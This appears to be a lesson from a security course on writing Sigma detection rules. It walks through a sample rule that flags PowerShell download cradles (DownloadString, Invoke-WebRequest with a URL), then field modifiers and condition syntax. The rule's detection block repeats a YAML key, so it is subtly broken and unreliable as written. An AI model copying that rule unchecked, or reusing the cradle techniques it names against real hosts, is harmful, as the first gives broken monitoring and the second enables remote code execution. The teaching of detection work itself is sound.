Module 3 · Detection Engineering with Sigma 🔒

Detection engineering is the discipline of turning “attackers do X” into queries that reliably fire when X happens and stay quiet when it doesn’t. Sigma is the de-facto cross-SIEM rule format for expressing those detections — write once in YAML, convert to Splunk SPL, KQL for Sentinel, Lucene for Elastic, or any other backend. This module walks through the Sigma rule anatomy, the two mistakes most beginners make, and the workflow for taking a rule from idea to production without burying the SOC in false positives.

What Sigma is and is not

Sigma is a YAML specification maintained by SigmaHQ (GitHub: SigmaHQ/sigma). A Sigma rule describes a log-event match pattern in a vendor-neutral way. A converter tool (sigmac, or the newer pySigma) translates it to the query language of your SIEM. The community repo ships 3000+ rules covering common Windows, Linux, cloud, and network detections.

What Sigma is not: a SIEM, a detection platform, or an execution engine. It is a rule specification. You still need a SIEM to run the converted queries, and you still need to tune them against your environment.

Anatomy of a Sigma rule

title: Suspicious PowerShell Download Cradle
id: 8f3a7c9e-2b4d-4e6a-9f1c-8d5b3a7e2c4d
status: experimental
description: Detects PowerShell using DownloadString or IEX with a remote URL,
  a common initial-access and in-memory execution technique.
author: Manish Garg, RingSafe
date: 2026-04-22
references:
  - https://attack.mitre.org/techniques/T1059/001/
tags:
  - attack.execution
  - attack.t1059.001
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\powershell.exe'
  selection_cmd:
    CommandLine|contains:
      - 'DownloadString'
      - 'DownloadFile'
      - 'Invoke-WebRequest'
      - 'Invoke-RestMethod'
    CommandLine|contains:
      - 'http://'
      - 'https://'
  condition: selection_img and selection_cmd
falsepositives:
  - Legitimate admin scripts pulling config or modules from internal servers
  - Software installers using PowerShell download patterns
level: medium

Field-by-field walk-through

• title — short, action-oriented. Read aloud, should tell an analyst what triggered. “Suspicious PowerShell Download Cradle” beats “PS Detect 4”
• id — UUIDv4. Permanent identifier even if title changes. Always generate a fresh one
• status — experimental / test / stable / deprecated. Lifecycle marker
• logsource — what kind of data this rule needs. Combinations of product, service, category. The converter uses this to pick the right index/table
• detection — the actual match logic. Named selections (selection_img, selection_cmd) combined via the condition expression
• falsepositives — the FP causes you already know about. Tuning note for future analysts
• level — informational / low / medium / high / critical. Drives alerting thresholds downstream

Detection modifiers that save you from regex hell

Sigma provides field modifiers so you don’t write raw regex. The common ones:

• |contains — substring match
• |startswith, |endswith — anchored substring
• |contains|all — ALL listed values must match (AND within a list)
• |re — regex, only when you actually need one
• |base64offset|contains — matches base64-encoded strings at any offset. Powerful for encoded payloads
• |cidr — IP range matches

Prefer modifiers over regex. Regex breaks in subtle ways across SIEMs during conversion, and it is slow at scale.

condition: selection1 and selection2
condition: selection_process and not filter_admin
condition: 1 of selection_*
condition: all of selection_*
condition: selection and (filter_exclude1 or filter_exclude2)